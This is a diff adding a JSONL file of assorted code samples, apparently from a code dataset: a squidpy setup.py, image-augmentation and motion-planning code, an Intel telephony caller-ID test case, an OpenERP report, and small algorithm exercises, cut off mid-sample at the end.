diff --git "a/2974.jsonl" "b/2974.jsonl"
new file mode 100644--- /dev/null
+++ "b/2974.jsonl"
@@ -0,0 +1,651 @@
+{"seq_id":"243917478","text":"from pathlib import Path\nfrom setuptools import setup, find_packages\n\ntry:\n from squidpy import __email__, __author__, __version__, __maintainer__\nexcept ImportError:\n __author__ = __maintainer__ = \"Theislab\"\n __email__ = \", \".join(\n [\n \"giovanni.palla@helmholtz-muenchen.de\",\n \"hannah.spitzer@helmholtz-muenchen.de\",\n ]\n )\n __version__ = \"1.1.1\"\n\nsetup(\n name=\"squidpy\",\n use_scm_version=True,\n setup_requires=[\"setuptools_scm\"],\n version=__version__,\n author=__author__,\n author_email=__email__,\n maintainer=__author__,\n maintainer_email=__email__,\n description=Path(\"README_pypi.rst\").read_text(\"utf-8\").splitlines()[2],\n long_description=Path(\"README_pypi.rst\").read_text(\"utf-8\"),\n long_description_content_type=\"text/x-rst; charset=UTF-8\",\n url=\"https://github.com/theislab/squidpy\",\n download_url=\"https://pypi.org/project/squidpy/\",\n project_urls={\n \"Documentation\": \"https://squidpy.readthedocs.io/en/stable\",\n \"Source Code\": \"https://github.com/theislab/squidpy\",\n },\n license=\"BSD\",\n platforms=[\"Linux\", \"MacOSX\"],\n packages=find_packages(),\n zip_safe=False,\n install_requires=[l.strip() for l in Path(\"requirements.txt\").read_text(\"utf-8\").splitlines()],\n extras_require=dict(\n dev=[\"pre-commit>=2.9.0\", \"towncrier>=21.3.0\"],\n test=[\"tox>=3.20.1\", \"pytest-mock\"],\n docs=[\n l.strip()\n for l in (Path(\"docs\") / \"requirements.txt\").read_text(\"utf-8\").splitlines()\n if not l.startswith(\"-r\")\n ],\n interactive=[\"PyQt5>=5.15.0\", \"napari>=0.4.8,<0.5\"],\n ),\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Science/Research\",\n \"Natural Language :: English\",\n \"License :: OSI Approved :: BSD License\",\n \"Operating System :: POSIX :: Linux\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Typing :: Typed\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Environment :: Console\",\n \"Framework :: Jupyter\",\n \"Intended Audience :: Science/Research\",\n \"Topic :: Scientific/Engineering :: Bio-Informatics\",\n \"Topic :: Scientific/Engineering :: Visualization\",\n ],\n keywords=sorted(\n [\n \"single-cell\",\n \"bio-informatics\",\n \"spatial transcriptomics\",\n \"spatial data analysis\",\n \"image analysis\",\n \"spatial data analysis\",\n ]\n ),\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"603571218","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport cv2\nfrom albumentations import (\n Compose,\n GaussianBlur,\n CLAHE,\n RandomBrightness,\n RandomContrast,\n RandomSnow,\n RandomRain,\n RandomFog,\n RandomSunFlare,\n RandomShadow,\n CoarseDropout,\n Equalize,\n)\nfrom sklearn.utils import shuffle\n\n\ndef random_flip(image, steering_angle):\n if np.random.rand() < 0.5:\n return cv2.flip(image, 1), -steering_angle\n\n return image, steering_angle\n\n\ndef random_translate(image, steering_angle, range_x=100, range_y=100):\n trans_x = range_x * (np.random.rand() - 0.5)\n trans_y = range_y * (np.random.rand() - 0.5)\n result_steering_angle = steering_angle + trans_x * 0.002\n trans_m = np.float32([[1, 0, trans_x], [0, 1, trans_y]])\n h, w = image.shape[:2]\n result_image = cv2.warpAffine(image, trans_m, (w, h))\n\n return result_image, result_steering_angle\n\n\ndef augment_data(image, steering_angle):\n h, w = image.shape[:2]\n\n result_image = np.copy(image)\n result_steering_angle = steering_angle\n\n result_image, result_steering_angle = random_flip(result_image, result_steering_angle)\n # result_image, result_steering_angle = random_translate(result_image, result_steering_angle)\n aug = Compose(\n [\n # GaussianBlur(blur_limit=5, p=0.5),\n RandomBrightness(limit=0.1, p=0.5),\n RandomContrast(limit=0.1, p=0.5),\n # CLAHE(p=0.5),\n # Equalize(p=0.5),\n # RandomSnow(p=0.5),\n # RandomRain(p=0.5),\n # RandomFog(p=0.5),\n # RandomSunFlare(p=0.5),\n RandomShadow(p=0.5),\n CoarseDropout(\n max_holes=4,\n max_height=h // 30,\n max_width=w // 30,\n min_holes=1,\n min_height=h // 40,\n min_width=w // 40,\n p=0.5,\n ),\n ],\n p=1,\n )\n result_image = aug(image=result_image)[\"image\"]\n\n return result_image, result_steering_angle\n\n\nSTEERING_OFFSET = [0, 0.4, -0.4]\n\n\ndef choose_image(triple, steering_angle):\n no = np.random.randint(3)\n return triple[no], steering_angle + STEERING_OFFSET[no]\n\n\ndef batch_generator(triples, steering_angles, batch_size, is_training=True):\n total = len(triples)\n h, w, c = triples.shape[2:]\n\n result_images = np.empty([batch_size, h, w, c])\n result_steer_angles = np.empty(batch_size)\n while True:\n i = 0\n for idx in np.random.permutation(total):\n triple = triples[idx]\n steering_angle = steering_angles[idx]\n\n if is_training and np.random.rand() < 0.6:\n image, steering_angle = choose_image(triple, steering_angle)\n image, steering_angle = augment_data(image, steering_angle)\n else:\n image = triple[0]\n\n result_images[i] = image\n result_steer_angles[i] = steering_angle\n\n i += 1\n if i == batch_size:\n break\n\n yield result_images, result_steer_angles\n","sub_path":"data_loader/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"425338742","text":"from reportportal_client.core.rp_file import RPFile as RPFile\nfrom reportportal_client.core.rp_issues import Issue as Issue\nfrom reportportal_client.core.rp_responses import RPResponse as RPResponse\nfrom reportportal_client.static.abstract import AbstractBaseClass\nfrom reportportal_client.static.defines import Priority as Priority\nfrom typing import Any, Callable, ByteString, Dict, IO, List, Optional, Text, Union\n\nclass HttpRequest:\n session_method: Callable = ...\n url: Text = ...\n data = Optional[Union[Dict, List[Union[tuple, ByteString]], IO]] = ...\n json = Optional[Dict] = ...\n verify = Optional[bool] = ...\n def __init__(self,\n session_method: Callable,\n url: Text,\n data = Optional[Union[Dict, List[Union[tuple, ByteString, IO]]]],\n json = Optional[Dict],\n verify=Optional[bool]) -> None: ...\n def make(self) -> RPResponse: ...\n\n\nclass RPRequestBase(metaclass=AbstractBaseClass):\n __metaclass__: AbstractBaseClass = ...\n _http_request: Optional[HttpRequest] = ...\n _priority: Priority = ...\n _response: Optional[RPResponse] = ...\n def __init__(self) -> None: ...\n def __lt__(self, other: RPRequestBase) -> bool: ...\n @property\n def http_request(self) -> HttpRequest: ...\n @http_request.setter\n def http_request(self, value: HttpRequest) -> None: ...\n @property\n def priority(self) -> Priority: ...\n @priority.setter\n def priority(self, value: Priority) -> None: ...\n @property\n def response(self) -> Optional[RPResponse]: ...\n @response.setter\n def response(self, value: RPResponse) -> None: ...\n def payload(self) -> Dict: ...\n\nclass LaunchStartRequest(RPRequestBase):\n attributes: List = ...\n description: Text = ...\n mode: Text = ...\n name: Text = ...\n rerun: bool = ...\n rerun_of: Text = ...\n start_time: Text = ...\n uuid: Text = ...\n def __init__(self,\n name: Text,\n start_time: Text,\n attributes: Optional[List] = ...,\n description: Optional[Text] = ...,\n mode: Text = ...,\n rerun: bool = ...,\n rerun_of: Optional[Text] = ...,\n uuid: Optional[Text] = ...) -> None: ...\n @property\n def payload(self) -> Dict: ...\n\nclass LaunchFinishRequest(RPRequestBase):\n attributes: List = ...\n description: Text = ...\n end_time: Text = ...\n status: Text = ...\n def __init__(self,\n end_time: Text,\n status: Optional[Text] = ...,\n attributes: Optional[List] = ...,\n description: Optional[Text] = ...) -> None: ...\n @property\n def payload(self) -> Dict: ...\n\nclass ItemStartRequest(RPRequestBase):\n attributes: List = ...\n code_ref: Text = ...\n description: Text = ...\n has_stats: bool = ...\n launch_uuid: Text = ...\n name: Text = ...\n parameters: List = ...\n retry: bool = ...\n start_time: Text = ...\n type_: Text = ...\n uuid: Text = ...\n unique_id: Text = ...\n def __init__(self,\n name: Text,\n start_time: Text,\n type_: Text,\n launch_uuid: Text,\n attributes: Optional[List] = ...,\n code_ref: Optional[Text] = ...,\n description: Optional[Text] = ...,\n has_stats: bool = ...,\n parameters: Optional[List] = ...,\n retry: bool = ...,\n uuid: Optional[Any] = ...,\n unique_id: Optional[Any] = ...) -> None: ...\n @property\n def payload(self) -> Dict: ...\n\nclass ItemFinishRequest(RPRequestBase):\n attributes: List = ...\n description: Text = ...\n end_time: Text = ...\n issue: Issue = ...\n launch_uuid: Text = ...\n status: Text = ...\n retry: bool = ...\n def __init__(self,\n end_time: Text,\n launch_uuid: Text,\n status: Text,\n attributes: Optional[List] = ...,\n description: Optional[Any] = ...,\n issue: Optional[Issue] = ...,\n retry: bool = ...) -> None: ...\n @property\n def payload(self) -> Dict: ...\n\nclass RPRequestLog(RPRequestBase):\n file: RPFile = ...\n launch_uuid: Text = ...\n level: Text = ...\n message: Text = ...\n time: Text = ...\n item_uuid: Text = ...\n def __init__(self,\n launch_uuid: Text,\n time: Text,\n file: Optional[RPFile] = ...,\n item_uuid: Optional[Text] = ...,\n level: Text = ...,\n message: Optional[Text] = ...) -> None: ...\n def __file(self) -> Dict: ...\n @property\n def payload(self) -> Dict: ...\n\nclass RPLogBatch(RPRequestBase):\n default_content: Text = ...\n log_reqs: List[RPRequestLog] = ...\n def __init__(self, log_reqs: List[RPRequestLog]) -> None: ...\n def __get_file(self, rp_file: RPFile) -> tuple: ...\n def __get_files(self) -> List: ...\n def __get_request_part(self) -> Dict: ...\n @property\n def payload(self) -> Dict: ...\n","sub_path":"reportportal_client/core/rp_requests.pyi","file_name":"rp_requests.pyi","file_ext":"pyi","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"30976393","text":"\"\"\"\n\n:copyright: (c)Copyright 2013, Intel Corporation All Rights Reserved.\nThe source code contained or described here in and all documents related\nto the source code (\"Material\") are owned by Intel Corporation or its\nsuppliers or licensors. Title to the Material remains with Intel Corporation\nor its suppliers and licensors. The Material contains trade secrets and\nproprietary and confidential information of Intel or its suppliers and\nlicensors.\n\nThe Material is protected by worldwide copyright and trade secret laws and\ntreaty provisions. No part of the Material may be used, copied, reproduced,\nmodified, published, uploaded, posted, transmitted, distributed, or disclosed\nin any way without Intel's prior express written permission.\n\nNo license under any patent, copyright, trade secret or other intellectual\nproperty right is granted to or conferred upon you by disclosure or delivery\nof the Materials, either expressly, by implication, inducement, estoppel or\notherwise. Any license under such intellectual property rights must be express\nand approved by Intel in writing.\n\n:organization: INTEL MCG PSI\n:summary: Use Case WCDMA CLIP.\n:since: 19/03/2013\n:author: rbertolx\n\"\"\"\n\n# pylint: disable=C0103\n# Disable this pylint error due to ACS naming convention\n\nimport time\n\nfrom UtilitiesFWK.Utilities import Global\n\nfrom LAB_WCDMA_VC_BASE import LabWcdmaVcBase\n\n\nclass LabWcdmaVcClip(LabWcdmaVcBase):\n\n \"\"\"\n Class implementing the CLIP test.\n Setup: Build 3G connection with DUT.\n Test:\n step 1: turn the CLIP off on the network simulator.\n step 2: call the DUT from network simulator. (No need to answer the call)\n step 3: check in the call logs of the DUT that the call number has not\n been displayed.\n step 4: turn the CLIP on on the network simulator.\n step 5: call the DUT from network simulator. (No need to answer the call)\n step 6: check in the DUT call logs that the call number has been displayed.\n WARNING: does not test if the *#30# call returns the right info.\n \"\"\"\n\n def __init__(self, tc_name, global_config):\n \"\"\"\n Constructor\n \"\"\"\n\n # Call WCDMA voice call base Init function\n LabWcdmaVcBase.__init__(self, tc_name, global_config)\n\n self._phone_number = \\\n str(self._tc_parameters.get_param_value(\"PHONE_NUMBER\"))\n if self._phone_number.upper() == \"[PHONE_NUMBER]\":\n self._phone_number = str(self._device.get_phone_number())\n\n#------------------------------------------------------------------------------\n def run_test(self):\n \"\"\"\n Execute the test\n \"\"\"\n # Call WCDMA VoiceCall base run_test function\n LabWcdmaVcBase.run_test(self)\n # Release any previous call (Robustness)\n self._voice_call_api.release()\n # Turn off the CLIP.\n self._ns_voice_call_3g.include_calling_party_number(\"OFF\")\n # Calling the DUT from the network simulator.\n self._ns_voice_call_3g.mt_originate_call()\n # Waiting for the phone to receive the call, not need to answer the\n # call.\n # pylint: disable=E1101\n # As pylint is not able to resolve enum types\n self._voice_call_api.wait_for_state(self._uecmd_types.\n VOICE_CALL_STATE.INCOMING,\n self._call_setup_time)\n # pylint: enable=E1101\n # Once the alerting state has been reached release the call on the\n # network simulator.\n self._ns_voice_call_3g.voice_call_network_release()\n time.sleep(self._wait_btwn_cmd)\n # Getting the last call information from DUT.\n (number, call_type, _sim) = self._voice_call_api.get_last_call_details()\n # Checking the last call type is missed.\n self._logger.info(\"Checking last call type is MISSED.\")\n # pylint: disable=E1101\n # As pylint is not able to resolve enum types\n if call_type != str(self._uecmd_types.VOICE_CALL_TYPE.MISSED):\n # pylint: enable=E1101\n return (Global.FAILURE, \"Last call should be MISSED, is: %s\"\n % call_type)\n # Checking the last call number not displayed on the DUT.\n self._logger.info(\"Checking last call number is private\")\n # \"\" is the phone number returned when the number is unknown\n if number != \"\":\n return (Global.FAILURE, \"The CLIP is not included but the phone\"\n \" number was shown. Incoming number: %s\"\n % number)\n time.sleep(self._wait_btwn_cmd)\n # Turn the CLIP on.\n self._ns_voice_call_3g.include_calling_party_number(\"ON\")\n self._ns_voice_call_3g.set_calling_party_pi(\"ALLOWED\")\n # Set the phone number the network simulator will use to call the DUT.\n self._ns_voice_call_3g.set_calling_party_number(self._phone_number)\n # Calling the DUT from the network simulator.\n self._ns_voice_call_3g.mt_originate_call()\n # Waiting for the phone to receive the call, not need to answer the\n # call.\n # pylint: disable=E1101\n # As pylint is not able to resolve enum types\n self._voice_call_api.wait_for_state(self._uecmd_types.\n VOICE_CALL_STATE.INCOMING,\n self._call_setup_time)\n # pylint: enable=E1101\n self._ns_voice_call_3g.voice_call_network_release()\n time.sleep(self._wait_btwn_cmd)\n # Getting the last call information from DUT.\n (number, call_type, _sim) = self._voice_call_api.get_last_call_details()\n # Checking the last call type is missed.\n self._logger.info(\"Checking last call type is MISSED.\")\n # pylint: disable=E1101\n # As pylint is not able to resolve enum types\n if call_type != str(self._uecmd_types.VOICE_CALL_TYPE.MISSED):\n # pylint: enable=E1101\n return (Global.FAILURE, \"Last call should be MISSED, is: %s\"\n % call_type)\n # Checking the last call number is the expected one.\n self._logger.info(\"Checking last call number is displayed on DUT and\"\n \" is the same as the one given as parameter.\")\n if number != self._phone_number:\n return (Global.FAILURE, \"The CLIP is included but the phone\"\n \" number shown on the DUT is not the same\"\n \" as the one set on the network\"\n \" simulator. Incoming number: %s\" % number)\n return Global.SUCCESS, \"No errors\"\n\n#------------------------------------------------------------------------------\n def tear_down(self):\n \"\"\"\n Closing the test.\n \"\"\"\n # Turn off the CLIP.\n self._ns_voice_call_3g.include_calling_party_number(\"OFF\")\n # Release all possible ongoing calls.\n self._ns_voice_call_3g.voice_call_network_release()\n # Call WCDMA VoiceCall base tear_down function\n LabWcdmaVcBase.tear_down(self)\n return Global.SUCCESS, \"No errors\"\n","sub_path":"ACS_v.18.20.4_1/ACS/acs_test_scripts/UseCase/Communication/VoiceCall/LAB_WCDMA_VC_CLIP.py","file_name":"LAB_WCDMA_VC_CLIP.py","file_ext":"py","file_size_in_byte":7250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"506944705","text":"class Solution:\n # @param A, a list of integers\n # @return a boolean\n def canJump(self, A):\n maxSteps = 0\n for i in range(len(A[:-1])):\n maxSteps = max(maxSteps - 1, A[i])\n if maxSteps < 1:\n return False\n return True\n","sub_path":"jump_game.py","file_name":"jump_game.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"598344996","text":"import numpy as np\nfrom functools import partial\nfrom ompl import util as ou\nfrom ompl import base as ob\nfrom ompl import control as oc\nfrom ompl import geometric as og\nfrom scipy.integrate import odeint\n\nfrom gym_urbandriving.planning import Trajectory\n\n\n# Dynamics model for our car. Ydim of car should be 40 (default)\ndef integrator(state, t, acc, delta_f):\n x, y, vel, rad_angle = state\n # Differential equations\n beta = np.arctan((20. / (20. + 20.)) * np.tan(delta_f))\n dx = vel * np.cos(rad_angle + beta)\n dy = vel * -np.sin(rad_angle + beta)\n dangle = (vel / 20.) * np.sin(beta)\n dvel = acc\n output = [dx, dy, dvel, dangle]\n return output\n\nclass RRTMPlanner:\n def __init__(self, agents, planner=None, time=None, goal= None, prune = None, selection = None):\n \"\"\"\n A Kino-Dynamic Planner for multiple agents. \n \n Parameters\n ----------\n agents : list \n Agents to be planned over\n planner : str\n Type of Planner to use\n time : float\n Duration to run Planenr\n goal, prune, selection: float\n Parameters of planner, which can be searched over\n \"\"\"\n self.agents = agents\n self.num_agents = len(agents)\n\n self.path = []\n self.planner = planner\n self.time = time\n self.goal = goal\n self.prune = prune\n self.selection = selection\n\n\n def plan(self, state):\n \"\"\"\n Generate a plan for the agents\n \n Parameters\n ----------\n state : state of the enviroment\n The plan is generated starting at this state\n\n Returns:\n ----------\n paths: a list of Trajectories with mode 'cs' (ie. controls to generate the desired trajectory)\n If no trjaectory is found, returns None\n \"\"\"\n\n start_state = state\n # construct the state space we are planning in\n # State space will be [x, y, vel, angle]\n # Note: I found docs for ODEStateSpace and MorseStateSpace\n space = ob.RealVectorStateSpace(4*self.num_agents)\n \n \n # set the bounds for the R^2 part of SE(2)\n bounds = ob.RealVectorBounds(4*self.num_agents)\n \n for i in range(self.num_agents):\n car_idx = i*4\n bounds.setLow(car_idx, 0)\n bounds.setLow(car_idx+1, 0)\n bounds.setLow(car_idx+2, 0) # This is the velocity component. Set to a negative number to allow backtracking\n bounds.setLow(car_idx+3, 0)\n bounds.setHigh(car_idx+0, state.dimensions[0]) \n bounds.setHigh(car_idx+1, state.dimensions[1])\n bounds.setHigh(car_idx+2, 5)\n bounds.setHigh(car_idx+3, 2*np.pi)\n\n space.setBounds(bounds)\n\n # create a control space\n cspace = oc.RealVectorControlSpace(space, 2*self.num_agents)\n\n # set the bounds for the control space\n cbounds = ob.RealVectorBounds(2*self.num_agents)\n for i in range(self.num_agents):\n cbounds.setLow(-3.)\n cbounds.setHigh(3.)\n\n cspace.setBounds(cbounds)\n\n def isStateValid(spaceInformation, state):\n # perform collision checking or check if other constraints are\n # satisfied\n for i in range(self.num_agents):\n car_idx = i*4\n start_state.dynamic_objects[i].shapely_obj = None\n start_state.dynamic_objects[i].x = state[car_idx]\n start_state.dynamic_objects[i].y = state[car_idx+1]\n start_state.dynamic_objects[i].angle = state[car_idx+3]\n if start_state.collides_any(i):\n return False\n return spaceInformation.satisfiesBounds(state)\n\n def propagate(start, control, duration, state):\n # State propogator to allow ompl to step to another state given a list of actions\n assert(duration == 1.0)\n\n for i in range(self.num_agents):\n\n car_idx = i*4\n cntr_idx = i*2\n\n # Rest of these lines are from car kinematic step functions\n action = (control[cntr_idx], control[cntr_idx+1])\n obj = start_state.dynamic_objects[i]\n\n if obj.dynamics_model == \"kinematic\":\n state[car_idx], state[car_idx+1], state[car_idx+2], state[car_idx+3] = \\\n obj.kinematic_model_step(action, start[car_idx], start[car_idx+1], start[car_idx+2], start[car_idx+3])\n else:\n state[car_idx], state[car_idx+1], state[car_idx+2], state[car_idx+3] = \\\n obj.point_model_step(action, start[car_idx], start[car_idx+1], start[car_idx+2], start[car_idx+3])\n\n\n # define a simple setup class\n ss = oc.SimpleSetup(cspace)\n ss.setStateValidityChecker(ob.StateValidityCheckerFn(partial(isStateValid, ss.getSpaceInformation())))\n ss.setStatePropagator(oc.StatePropagatorFn(propagate))\n\n # create a start state\n start = ob.State(space)\n\n for i in range(self.num_agents):\n car_idx = i*4\n start()[car_idx] = state.dynamic_objects[i].x\n start()[car_idx+1] = state.dynamic_objects[i].y\n start()[car_idx+2] = state.dynamic_objects[i].vel\n start()[car_idx+3] = state.dynamic_objects[i].angle\n\n goal = ob.State(space);\n\n # create a goal state\n for i in range(self.num_agents):\n car_idx = i*4\n goal_state = state.dynamic_objects[i].destination\n \n goal()[car_idx] = goal_state[0]\n goal()[car_idx+1] = goal_state[1]\n goal()[car_idx+2] = goal_state[2]\n goal()[car_idx+3] = goal_state[3]\n\n\n # set the start and goal states\n ss.setStartAndGoalStates(start, goal, 0.05)\n # (optionally) set planner\n si = ss.getSpaceInformation()\n\n\n if self.planner == 'RRT':\n planner = oc.RRT(si) # this is the default\n elif self.planner == 'SST':\n planner = oc.SST(si)\n elif self.planner == 'EST':\n planner = oc.EST(si)\n elif self.planner == 'KPIECE':\n planner = oc.KPIECE1(si)\n else:\n planner = oc.RRT(si)\n\n if not self.selection is None:\n planner.setSelectionRadius(self.selection)\n if not self.prune is None:\n planner.setPruningRadius(self.prune)\n \n if not self.goal is None:\n planner.setGoalBias(self.goal)\n\n ss.setPlanner(planner)\n # (optionally) set propagation step size\n si.setPropagationStepSize(1) # Propagation step size should be 1 to match our model\n \n # attempt to solve the problem\n if not self.time == None:\n solved = ss.solve(self.time) # 30 second time limit\n else: \n solved = ss.solve(60.0)\n\n if solved:\n # prints the path to screen\n print(\"Found solution:\\n%s\" % ss.getSolutionPath())\n path = ss.getSolutionPath().printAsMatrix()\n path = [l.split(\" \") for l in path.splitlines()]\n\n num_controls = 2*self.num_agents+1\n \n path = [[float(i) for i in l][-num_controls:] for l in path][1:]\n paths = []\n for i in range(self.num_agents):\n car_idx = i*2\n agent_path = Trajectory(mode='cs')\n\n for control in path:\n for r in range(int(control[-1])):\n agent_path.add_point([control[car_idx],control[car_idx+1]])\n \n paths.append(agent_path)\n return paths\n else:\n return None\n \n \n\n \n \n","sub_path":"gym_urbandriving/planning/rrt_multi_planner.py","file_name":"rrt_multi_planner.py","file_ext":"py","file_size_in_byte":7819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"162413594","text":"# ******************************************************\n# ✥ Title :- Python loops\n# ✥ Author :- Gautam Khatter 🧐\n# ✥ Date :- 28 December 2020\n# ******************************************************\n# ✥ Program to calculate the sum of all even numbers \n# 1-100 including 1 and 100\n# ******************************************************\n\n# For loops with range()\n#eg - for number in range(1, 10, 3):\n# print(number)\n# 1 - 10 is the range and 3 is the step size for this range.\n\nsum_even = 0\nfor even in range(0,101,2):\n sum_even += even\n\nprint(f\"The sum of even numbers b/w 1 and 100 is {sum_even}\")","sub_path":"Day 5/Coding-exercise5.3.py","file_name":"Coding-exercise5.3.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"423094989","text":"import heapq\n\n\nclass Solution(object):\n\n def rearrangeString(self, str, k):\n if not str:\n return str\n if k ==0:\n return str\n h = []\n d = {}\n for s in str:\n if s not in d:\n d[s] = 1\n else:\n d[s] += 1\n for key, value in d.items():\n heapq.heappush(h, (-value, key))\n\n ans = []\n l = len(str)\n while l > 0:\n temp = []\n iterationLength = min(l, k)\n if len(h) < iterationLength:\n return \"\"\n for i in range(iterationLength):\n (value, c) = heapq.heappop(h)\n ans.append(c)\n value += 1\n if value != 0:\n temp.append((value, c))\n l -= 1\n for i in temp:\n heapq.heappush(h, i)\n\n return \"\".join(ans)\n\n\ntestClass = Solution()\n\nprint(testClass.rearrangeString(\"aaadbbcc\", 2))\n","sub_path":"Google/358.py","file_name":"358.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"591591196","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Copyright (c) 2005-2006 CamptoCamp\n# Copyright (c) 2006-2010 OpenERP S.A\n# Copyright (c) 2011 Thamini S.à.R.L\n#\n# WARNING: This program as such is intended to be used by professional\n# programmers who take the whole responsibility of assessing all potential\n# consequences resulting from its eventual inadequacies and bugs\n# End users who are looking for a ready-to-use solution with commercial\n# guarantees and support are strongly advised to contract a Free Software\n# Service Company\n#\n# This program is Free Software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n##############################################################################\n\nimport time\n\nfrom openerp.report import report_sxw\nfrom common_report_header import common_report_header\n\nclass report_partner_balance_common(report_sxw.rml_parse, common_report_header):\n def __init__(self, cr, uid, name, context):\n super(report_partner_balance_common, self).__init__(cr, uid, name, context=context)\n self.localcontext.update({\n# 'get_salesperson': self.get_salesperson,\n# 'get_partner': self.get_partner,\n 'get_data': self.get_data,\n 'get_data_lines': self.get_data_lines,\n 'get_data_reconciled': self.get_data_reconciled,\n 'time': time,\n })\n self.context = context\n \n# def get_salesperson(self, data):\n# user_ids = []\n# # target_move = data['form'].get('target_move', 'all')\n# date_from = data['form'].get('date_from', time.strftime('%Y-%m-%d'))\n# # \n# if data['form']['result_selection'] == 'customer':\n# account_type = ['receivable']\n# elif data['form']['result_selection'] == 'supplier':\n# account_type = ['payable']\n# else:\n# account_type = ['payable','receivable']\n# \n# user_ids = self._get_salesperson(account_type, date_from)\n# return self.pool.get('res.users').browse(self.cr, self.uid, user_ids)\n# \n# def get_partner(self, data):\n# partner_ids = []\n# target_move = data['form'].get('target_move', 'all')\n# date_from = data['form'].get('date_from', time.strftime('%Y-%m-%d'))\n# \n# if data['form']['result_selection'] == 'customer':\n# account_type = ['receivable']\n# elif data['form']['result_selection'] == 'supplier':\n# account_type = ['payable']\n# else:\n# account_type = ['payable','receivable']\n# \n# partner_ids = self._get_partner(data['form'], account_type, date_from, target_move)\n# return self.pool.get('res.partner').browse(self.cr, self.uid, partner_ids)\n \n def get_data(self, partner, user_id, data):\n #print \"===get_data===\",partner\n self.total_account = []\n self.model = self.context.get('active_model')\n docs = self.pool.get(self.model).browse(self.cr, self.uid, self.context.get('active_id'))\n \n# target_move = data['form'].get('target_move', 'all')\n date_from = data['form'].get('date_from', time.strftime('%Y-%m-%d'))\n date_to = data['form'].get('date_to', time.strftime('%Y-%m-%d'))\n if data['form']['result_selection'] == 'customer':\n account_type = ['receivable']\n elif data['form']['result_selection'] == 'supplier':\n account_type = ['payable']\n else:\n account_type = ['payable','receivable']\n\n #without_partner_movelines = self._get_move_lines_with_out_partner_sum(partner, user_id, data['form'], account_type, date_from, date_to)\n tot_list = self.total_account\n partner_movelines = self._get_partner_move_lines_sum(data['form'], account_type, date_to, 'posted')\n #print \"====partner_movelines====\",partner_movelines\n# for i in range(7):\n# self.total_account[i] += tot_list[i]\n movelines = partner_movelines# + without_partner_movelines\n docargs = {\n 'get_partner_lines': movelines,\n 'get_direction': self.total_account,\n }\n return docargs\n \n def get_data_lines(self, partner, result_selection, aml_ids):\n pay_lines = self._get_partner_move_lines_payment(partner, result_selection, aml_ids)\n return pay_lines\n \n def get_data_reconciled(self, result_selection, aml_id):\n rec_lines = self._get_partner_move_lines_reconciled(result_selection, aml_id)\n return rec_lines\n \n \n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"aos_partner_subsidiary_ledger/report/account_partner_balance.py","file_name":"account_partner_balance.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"167243790","text":"# -*- coding: utf-8 -*-\n\"\"\"\n创建时间:Tue Feb 5 21:37:22 2019\n描述:展示不平衡的数据对模型的影响\n作者: PM.LiuGang\nReview:190311\n遗留:\n----------------------------------\nnp.random.multvariate_normal:\nmean = [0, 0]\ncov = [[1, 0], [0, 100]] # diagonal covariance\nimport matplotlib.pyplot as plt\nx, y = np.random.multivariate_normal(mean, cov, 5000).T\nplt.plot(x, y, 'x')\nplt.axis('equal')\nplt.show()\n\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport warnings\n\nfrom sklearn import metrics\nfrom sklearn.linear_model import LogisticRegression\n\nplt.rcParams[\"font.sans-serif\"] = [\"SimHei\"]\nwarnings.filterwarnings('ignore')\n\n\ndef generateData(n):\n '''\n 产生均衡的逻辑回归数据\n '''\n np.random.seed(4060)\n mean = [0,0]\n cov = [[1, 0], [0, 1]]\n # 生成多元正态分布矩阵 X.shape=(n,2)\n X = np.random.multivariate_normal(mean, cov, n) \n beta = np.array([1, -1]).reshape(2, 1)\n error = np.random.logistic(size=n).reshape(-1, 1)\n # Y.shape = (2000,1) true + 0 = 1;False + 0 = 0\n Y = (np.dot(X, beta) + error > 0) + 0 \n return X, Y\n\n\ndef unbalanceData(X, Y, zeroTimes):\n '''\n 通过将类别0的数据重复zeroTimes次,将均衡数据集变为非均衡数据集\n 平衡:Y=0 1010 X=0 990 非平衡:Y=0 1010 X=0 990*zeroTimes\n \n Parameters\n ----------\n X : np.ndarray\n 数据集-不含标签\n Y : np.ndarray\n 数据集的标签\n zeroTimes : int\n 数据重复的次数\n Returns\n -------\n X0X1 : np.ndarray\n 非平衡数据集-不含标签\n Y0Y1 : np.ndarray\n 非平衡数据集的标签\n '''\n # 为什么X0,Y0是(np.array,np.arrar)结构 \n # np.where的返回结果 np.where(condition)->tuple 